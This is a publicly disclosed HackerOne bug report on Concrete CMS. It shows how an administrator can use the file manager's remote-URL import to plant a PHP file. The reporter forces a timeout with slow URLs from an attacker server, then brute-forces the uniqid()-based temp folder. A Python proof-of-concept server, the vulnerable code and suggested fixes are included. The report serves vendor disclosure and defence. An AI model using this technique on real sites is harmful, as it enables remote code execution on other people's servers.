HexBrain

Concrete CMS · Report #1350444

A bypass of adding remote files in concrete5 FIlemanager leads to remote code execution

Validstatus
mediumseverity
10upvotes
11 Nov 2021disclosed

How it was found

Hi, I 'm currently testing the latest concretecms on my own pc and found some security problems of file manager. Concretecms allows user to upload remote files via file manager. With some techniques to bypass restriction of this function, a evil user will be able to download arbitary php file into accessible file folder. Since the folder name is generated with uniqid(), bruteforcing 5-digits hex code can leads to the correct directory where our php file lies. Then you can just visit it to get RCE.

Privileges required: Administrator Magic word for submitting the report: crayons

Reproduce

  • Login as a user with Administrator privileges.
  • set up evil server: run python3 server.py on your remote VPS server. Here my python server is listening at port 8877.

{F1459853}

  • add following urls:The top evil link is to our webshell file http://YOUR_VPS_IP:8877/byc.php, following multiplehttp://YOUR_VPS_IP:8877/stuck links( 20+ can assure the execution time). {F1459871}

  • wait 120 seconds for this process to send error. You can also see the log on your server.

{F1459875}

{F1459878}

  • Check your website folder and find that the evil php script stays in a temp folder. You can directly access this file from browser.

(Although this directory name seems random, the name of it is actually generated by uniqid() with total length 13. The first 8 characters are actually the UTC timestamp of the time when you send request. So you can bruteforce the last 5 characters and access the exact folder where our file lies.)

{F1459887}

{F1459884}

Code analysis

The source code below in concrete/controllers/backend/file.php shows the main logic of my exploit. The server takes multiple urls as input, validate each of them and then download it.The error during this process will be collected and send in response at last.

            $this->checkRemoteURlsToImport($urls);
            $originalPage = $this->getImportOriginalPage();
            $fi = $this->app->make(Importer::class);
            $volatileDirectory = $this->app->make(VolatileDirectory::class);
            foreach ($urls as $url) {
                try {
                    $downloadedFile = $this->downloadRemoteURL($url, $volatileDirectory->getPath());
                    $fileVersion = $fi->import($downloadedFile, false, $replacingFile ?: $this->getDestinationFolder());
                    if (!$fileVersion instanceof FileVersionEntity) {
                        $errors->add($url . ': ' . $fi->getErrorMessage($fileVersion));
                    } else {
                        if ($originalPage !== null) {
                            $fileVersion->getFile()->setOriginalPage($originalPage->getCollectionID());
                        }
                        $importedFileVersions[] = $fileVersion;
                    }
                } catch (UserMessageException $x) {
                    $errors->add($x);
                }
            }

The downloadRemoteURL function somehow allows url path like /byc.php. So php file will be written into directory.

{F1460016}

However, the directory will be deleted by the __destruct function of VolatileDirectory, it seems impossible to race condition and access our php file before deleted.

{F1459990}

So as long as we trigger an error before __destruct is called, we can keep our php file in that temp directory with enough time to bruteforce.

My idea is that, since the server has an execution time limit of 120s. We can just submit enough urls since the function won't throw an error until all the urls are processed, that's why I use python server to sleep 10 second each time it visit /stuck in my poc.

EXPLOIT="<?php phpinfo(); "
class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'Current time: {datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")}')
        self.send_response(200)
        self.send_header("Content-type", "image/jpeg")
        self.end_headers()
        self.wfile.write(EXPLOIT.encode('utf-8'))
        if self.path == "/stuck":
            time.sleep(10)

So that's how I bypass the limit and successfully write a file into folder.

Possible Fix Method

  • Disallow php file extension when writing it , although it will be deleted soon
  • do not use uniqid to create directory under /temp cause most chars of it can be deduced by the current time. Use md5(uniqid()) will make this exploit unable to bruteforce.

eg. As it is shown above, the directory of my evil file lies is volatile-0-614daecb71435. Take the first 8 chars 614daecb and execute python code:

print(datetime.datetime.fromtimestamp(int('0x614daecb', 16), tz=datetime.timezone.utc))
#result: 2021-09-24 10:56:11+00:00

And you can check out the time when my server receives the first request: 2021-09-24 10:56:12 which is 1 second after the directory creates. So user can easily get the time when directory creates.

Concluding, anyone get access to admin user will be able to write arbitary files into brute-forceable directory which leads to Remote Code Execution.

Thanks,

Best regards.

Impact

Remote Code Execution

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original